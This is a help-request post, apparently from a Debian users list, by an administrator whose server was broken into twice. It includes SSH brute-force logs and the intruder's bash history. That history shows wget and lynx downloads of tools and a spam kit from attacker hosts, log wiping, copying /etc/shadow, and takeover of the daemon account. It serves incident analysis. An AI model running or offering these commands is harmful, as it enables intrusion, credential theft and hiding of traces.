Help needed - server hacked twice in three days (and I don't think I'm a newbie)
Hi.
A server I take care of has been hacked twice in the last three days. It is
running Debian GNU/Linux, obviously. I ask you for advice on how this
happened, what happened, and what to do to avoid this.
The first hack happened on Tuesday, the machine was runnign Debian 3.0 plus
patches *but* still Linux 2.4.18 (Debian package). A log snippet of auth.log
is attached (auth.log-1), I think it was a brute-force attack on SSH finding
a weak password (there are 7 users on the machine, five have their login
shell set to scponly, remote root logins not allowed). Then the attacker
gained root privileges, possibly through a local root exploit in the kernel.
Then the attacker created a new user (called "morris") and logged in as that
user, uploaded a few files and started some spam sending robot. When we
stopped this, there were still some 25000 mails in the queue (rough counting
on mail.log shows ~136000 mails), and someone had already complained to
SpamCop. The mails were directed at targets mostly in Brazil, and were in
what I think must be spanish or portuguese.
Obviously some more things had been changed, things like ls did segfault, upon
login a bunch of errors was shown like
-bash: [: !=: unary operator expected
-bash: [: too many arguments
The attacker wasn't too careful to remove his traces, it seems to me, attached
is the bash history file as bash_history-1.
We had a backup from Sunday night, so we had it reinstalled from scratch
(Debian 3.1), put back the backup (no binaries, just MySQL data and webserver
documents). All passwords got changed to new ones (generated with pwgen), the
kernel was now 2.6.7 (again a Debian package). Now there were even fewer
programs on the machine, no compiler, just the bare minimum needed.
This morning it was hacked, *again*. By the same people/person. Again
"morris", again a try to send spam (that didn't work out it seems). This time
he removed some traces (edited auth.log), as can be seen in the bash history
file (bash_history-2). The errors (ls segfaulting, login bash errors, ...)
are the same as before. This time I noticed the directory named ".. " and
fetched the two tools he used ("l" and "h" in the history file).
"l" is a log cleaning tool from
http://www.nosystem.com.ar/programas/logclean.c
What "h" is, I cannot tell. How could I find out? I found another binary, and
this is probably how he got root the second time, using the k-rad.c kernel
exploit (http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0736).
Hm. Seems as if there is no fixed kernel package...
This time I didn't reinstall (yet), as Apache and MySQL run fine. Instead I
locked down the server (SSH only accepting key logins, running on a different
port; user morris removed; the changed password for "deamon" set back).
Anything else I should save for later use before reinstallling?
Now, I find it unlikely to see the same local root exploit in 2.4.18 and
2.6.7. How did he gain root access?
Are pwgen-passwords with 8 chars, containing upper/lower case and numbers
really that insecure?
What should I do to prevent such things in the future?
Thanks for any help you can offer.
Karsten
PS: I said I don't consider myself a newbie. I am taking care of Linux
machines running as web and mail servers since 1999 now, that's why. Maybe
I'm wrong.
--
This email is ROT26 encrypted, by reading it you are in violation of the
DMCA, and should turn yourself in to the authorities immediately.
(Chris Berry)
... hundreds of lines for the last 4 minutes 30 seconds
Jul 19 03:07:30 ds217-115-141-24 sshd[27011]: Illegal user anton from 217.115.205.101
Jul 19 03:07:30 ds217-115-141-24 sshd[27011]: error: Could not get shadow information for NOUSER
Jul 19 03:07:30 ds217-115-141-24 sshd[27011]: Failed password for illegal user anton from 217.115.205.101 port 46805 ssh2
Jul 19 03:07:30 ds217-115-141-24 sshd[27013]: Illegal user gary from 217.115.205.101
Jul 19 03:07:30 ds217-115-141-24 sshd[27013]: error: Could not get shadow information for NOUSER
Jul 19 03:07:30 ds217-115-141-24 sshd[27013]: Failed password for illegal user gary from 217.115.205.101 port 46872 ssh2
Jul 19 03:07:31 ds217-115-141-24 sshd[27015]: Illegal user nemesis from 217.115.205.101
Jul 19 03:07:31 ds217-115-141-24 sshd[27015]: error: Could not get shadow information for NOUSER
Jul 19 03:07:31 ds217-115-141-24 sshd[27015]: Failed password for illegal user nemesis from 217.115.205.101 port 46935 ssh2
Jul 19 03:07:31 ds217-115-141-24 sshd[27017]: Illegal user shadow from 217.115.205.101
Jul 19 03:07:31 ds217-115-141-24 sshd[27017]: error: Could not get shadow information for NOUSER
Jul 19 03:07:31 ds217-115-141-24 sshd[27017]: Failed password for illegal user shadow from 217.115.205.101 port 46986 ssh2
Jul 19 03:07:31 ds217-115-141-24 sshd[27019]: Illegal user cisco from 217.115.205.101
Jul 19 03:07:31 ds217-115-141-24 sshd[27019]: error: Could not get shadow information for NOUSER
Jul 19 03:07:31 ds217-115-141-24 sshd[27019]: Failed password for illegal user cisco from 217.115.205.101 port 47041 ssh2
... here we have him. creating a new user.
Jul 19 03:37:11 ds217-115-141-24 groupadd[27206]: new group: name=morris, gid=1009
Jul 19 03:37:12 ds217-115-141-24 useradd[27207]: new user: name=morris, uid=1009, gid=1009, home=/home/morris, shell=/bin/bash
Jul 19 03:37:19 ds217-115-141-24 passwd[27210]: (pam_unix) password changed for morris
Jul 19 03:37:19 ds217-115-141-24 passwd[27210]: (pam_unix) Password for morris was changed
Jul 19 03:37:29 ds217-115-141-24 chfn[27211]: changed user `morris' information
Jul 19 03:39:18 ds217-115-141-24 sshd[27228]: reverse mapping checking getaddrinfo for 201-002-151-194.erece203.dial.brasiltelecom.net.br failed - POSSIBLE BREAKIN ATTEMPT!
Jul 19 03:39:22 ds217-115-141-24 sshd[27228]: Accepted keyboard-interactive/pam for morris from 201.2.151.194 port 1312 ssh2
Jul 19 03:39:22 ds217-115-141-24 sshd[27232]: (pam_unix) session opened for user morris by (uid=0)
Jul 19 03:42:46 ds217-115-141-24 sshd[27267]: Did not receive identification string from 221.136.216.2
Jul 19 03:44:49 ds217-115-141-24 passwd[27276]: (pam_unix) password changed for daemon
Jul 19 03:44:49 ds217-115-141-24 passwd[27276]: (pam_unix) Password for daemon was changed
... another ony trying to get in.
Jul 19 03:51:13 ds217-115-141-24 sshd[27341]: Failed password for root from 221.136.216.2 port 43905 ssh2
Jul 19 03:51:21 ds217-115-141-24 sshd[27343]: Illegal user fluffy from 221.136.216.2
Jul 19 03:51:21 ds217-115-141-24 sshd[27343]: error: Could not get shadow information for NOUSER
Jul 19 03:51:21 ds217-115-141-24 sshd[27343]: Failed password for illegal user fluffy from 221.136.216.2 port 44025 ssh2
Jul 19 03:51:29 ds217-115-141-24 sshd[27345]: Illegal user admin from 221.136.216.2
Jul 19 03:51:29 ds217-115-141-24 sshd[27345]: error: Could not get shadow information for NOUSER
Jul 19 03:51:29 ds217-115-141-24 sshd[27345]: Failed password for illegal user admin from 221.136.216.2 port 44131 ssh2
Jul 19 03:51:39 ds217-115-141-24 sshd[27350]: Illegal user test from 221.136.216.2
Jul 19 03:51:39 ds217-115-141-24 sshd[27350]: error: Could not get shadow information for NOUSER
Jul 19 03:51:39 ds217-115-141-24 sshd[27350]: Failed password for illegal user test from 221.136.216.2 port 44241 ssh2
Jul 19 03:51:48 ds217-115-141-24 sshd[27352]: Illegal user guest from 221.136.216.2
Jul 19 03:51:48 ds217-115-141-24 sshd[27352]: error: Could not get shadow information for NOUSER
Jul 19 03:51:48 ds217-115-141-24 sshd[27352]: Failed password for illegal user guest from 221.136.216.2 port 44379 ssh2
Jul 19 03:51:56 ds217-115-141-24 sshd[27354]: Illegal user webmaster from 221.136.216.2
Jul 19 03:51:56 ds217-115-141-24 sshd[27354]: error: Could not get shadow information for NOUSER
Jul 19 03:51:56 ds217-115-141-24 sshd[27354]: Failed password for illegal user webmaster from 221.136.216.2 port 44513 ssh2
Jul 19 03:52:01 ds217-115-141-24 sshd[27356]: Failed password for mysql from 221.136.216.2 port 44616 ssh2
... and again morris.
Jul 19 03:59:55 ds217-115-141-24 passwd[27428]: (pam_unix) password changed for morris
Jul 19 03:59:55 ds217-115-141-24 passwd[27428]: (pam_unix) Password for morris was changed
Jul 19 04:08:06 ds217-115-141-24 sshd[27228]: syslogin_perform_logout: logout() returned an error
Jul 19 04:08:08 ds217-115-141-24 sshd[27232]: (pam_unix) session closed for user morris
...
Jul 19 04:09:07 ds217-115-141-24 sshd[27509]: reverse mapping checking getaddrinfo for 201-10-20-103.paemt704.dsl.brasiltelecom.net.br failed - POSSIBLE BREAKIN ATTEMPT!
Jul 19 04:09:10 ds217-115-141-24 sshd[27509]: Accepted keyboard-interactive/pam for morris from 201.10.20.103 port 2258 ssh2
Jul 19 04:09:10 ds217-115-141-24 sshd[27513]: (pam_unix) session opened for user morris by (uid=0)
Jul 19 04:17:45 ds217-115-141-24 sshd[28854]: reverse mapping checking getaddrinfo for 201-10-20-103.paemt704.dsl.brasiltelecom.net.br failed - POSSIBLE BREAKIN ATTEMPT!
Jul 19 04:17:49 ds217-115-141-24 sshd[28854]: Accepted keyboard-interactive/pam for morris from 201.10.20.103 port 2278 ssh2
Jul 19 04:17:49 ds217-115-141-24 sshd[29089]: (pam_unix) session opened for user morris by (uid=0)
... and here I had removed the user
Jul 19 11:25:45 ds217-115-141-24 sshd[27509]: fatal: login_init_entry: Cannot find user "morris"
Jul 19 11:25:45 ds217-115-141-24 sshd[28854]: fatal: login_init_entry: Cannot find user "morris"
rm hah.c
chattr + h
chattr +i h
wget 201.2.151.194/l
chmod +x l
./l -u morris
w
pstree
killall -9 l
ps auxw
cat /etc/passwd | less
passwd daemon
cd /var/tmp
ls
ls
ls /var/tmp
dir
dir
php -q
php -v
wget 201.2.151.194/ls
chmdo 777 ls
chmod 777 ls
./ls
rm ls
cd ".. "
wget 201.2.151.194/spam.zip
unzip spam.zip
php -q igr.txt "MIcrosfot teste" bill@microsfot.com "Atualizar WinXP" email.txt teste.txt
perl env.pl "Bill Gaytes perl" "Bill@microsfot.com" "Huahaha soh teste" email.txt teste.txt
passwd morris
exit
ls
rm h.c
pstree
cd /var/log
ls
cd apache
ls
echo >access.log
echo >error.log
tail *.log
wc -l *.loc
wc -l *.log
cd /root
ls
pico .bash_history
ls
cd /
ls
cat /etc/fstab
ls
cd restore
ls
cd etc
ls
wc -l passwd /etc/passwd
wc -l shadow /etc/shadow
cat /etc/shadow >./shadow
cat /etc/passwd >./passwd
wc -l passwd /etc/passwd
til /etc/passwd
tail /etc/passwd
cat /etc/passwd
passwd daemon
cat /etc/shadow >./shadow
cat ./shadow
cd /var/log
ls
pico auth.log
ls
pico messages
cd /root
ls
uname -a
id;uname -a
w
cd /opt/".. "
ls
lynx -source fuck.winconnection.net/l > l
chattr +i h;chmod +x l
./l
./l -u morris
w
ps auxw
killall -9 l
pstree
cd /root/
ls
cd /var/www/[some site]/logs/
ls
dir
wc -l *
cd 2005
ls
wc -l *
su nobody
exit
./l -u morris
cd /var/log
ls
dir
pico auth.og
pico auth.log
exit
Reply to: